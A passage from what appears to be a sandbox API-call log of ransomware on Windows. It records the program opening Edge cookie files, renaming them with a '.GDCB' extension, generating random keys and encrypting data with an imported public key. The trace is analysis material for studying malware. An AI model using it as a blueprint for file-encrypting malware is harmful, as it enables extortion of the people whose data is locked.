Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\TK0LXHBL.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\tk0lxhbl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.424] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.427] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.429] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0xd3, lpOverlapped=0x0) returned 1 [0248.439] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.445] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\TK0LXHBL.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\tk0lxhbl.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\TK0LXHBL.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\tk0lxhbl.txt.gdcb")) returned 1 [0248.449] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0248.452] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.454] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.454] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.454] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.454] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.457] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.459] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.459] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.459] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.459] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.462] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f308) returned 1 [0248.462] CryptGetKeyParam (in: hKey=0x677f308, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.462] CryptEncrypt (in: hKey=0x677f308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.462] GetLastError () returned 0x0 [0248.462] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.462] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.464] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f388) returned 1 [0248.464] CryptGetKeyParam (in: hKey=0x677f388, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.464] CryptEncrypt (in: hKey=0x677f388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.464] GetLastError () returned 0x0 [0248.464] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.464] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VC62GJSF.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vc62gjsf.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.466] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.469] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.472] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0xb6, lpOverlapped=0x0) returned 1 [0248.480] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.487] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VC62GJSF.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vc62gjsf.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VC62GJSF.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vc62gjsf.txt.gdcb")) returned 1 [0248.496] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0248.499] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.501] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.501] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.501] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.501] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.504] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.506] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.506] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.506] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.507] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.509] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f548) returned 1 [0248.509] CryptGetKeyParam (in: hKey=0x677f548, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.509] CryptEncrypt (in: hKey=0x677f548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.509] GetLastError () returned 0x0 [0248.509] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.509] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0248.511] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f0c8) returned 1 [0248.511] CryptGetKeyParam (in: hKey=0x677f0c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.511] CryptEncrypt (in: hKey=0x677f0c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.511] GetLastError () returned 0x0 [0248.512] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.512] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VSMDVD55.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vsmdvd55.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.513] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.516] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.519] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x5c, lpOverlapped=0x0) returned 1 [0248.528] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.535] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VSMDVD55.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vsmdvd55.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VSMDVD55.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vsmdvd55.txt.gdcb")) returned 1 [0248.630] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.633] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.635] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.635] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.635] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.635] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.638] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.640] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.640] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.640] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.640] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.643] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f608) returned 1 [0248.643] CryptGetKeyParam (in: hKey=0x677f608, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.643] CryptEncrypt (in: hKey=0x677f608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.644] GetLastError () returned 0x0 [0248.644] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.644] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0248.645] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f1c8) returned 1 [0248.645] CryptGetKeyParam (in: hKey=0x677f1c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.645] CryptEncrypt (in: hKey=0x677f1c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.646] GetLastError () returned 0x0 [0248.646] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.646] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\51TU1403.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\51tu1403.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.647] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.650] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.652] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x7f, lpOverlapped=0x0) returned 1 [0248.661] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.667] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\51TU1403.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\51tu1403.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\51TU1403.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\51tu1403.txt.gdcb")) returned 1 [0248.681] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.684] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.687] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.687] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.687] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.687] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.691] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.694] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.694] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.694] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.695] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0248.698] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677ff88) returned 1 [0248.698] CryptGetKeyParam (in: hKey=0x677ff88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.698] CryptEncrypt (in: hKey=0x677ff88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.698] GetLastError () returned 0x0 [0248.698] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.698] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.701] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fb88) returned 1 [0248.701] CryptGetKeyParam (in: hKey=0x677fb88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.701] CryptEncrypt (in: hKey=0x677fb88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.701] GetLastError () returned 0x0 [0248.701] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.701] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\5GJKP08H.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\5gjkp08h.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.703] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.707] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.711] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x1bf, lpOverlapped=0x0) returned 1 [0248.722] VirtualAlloc (lpAddress=0x0, dwSize=0x1c0, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.734] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\5GJKP08H.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\5gjkp08h.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\5GJKP08H.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\5gjkp08h.txt.gdcb")) returned 1 [0248.738] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.741] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.744] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.745] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.745] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.745] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.747] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.750] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.750] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.750] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.750] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0248.752] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fa88) returned 1 [0248.752] CryptGetKeyParam (in: hKey=0x677fa88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.752] CryptEncrypt (in: hKey=0x677fa88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.753] GetLastError () returned 0x0 [0248.753] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.753] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0248.754] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fb08) returned 1 [0248.754] CryptGetKeyParam (in: hKey=0x677fb08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.755] CryptEncrypt (in: hKey=0x677fb08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.755] GetLastError () returned 0x0 [0248.755] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.755] CreateFileW (lpFileName="C:\\Documents and 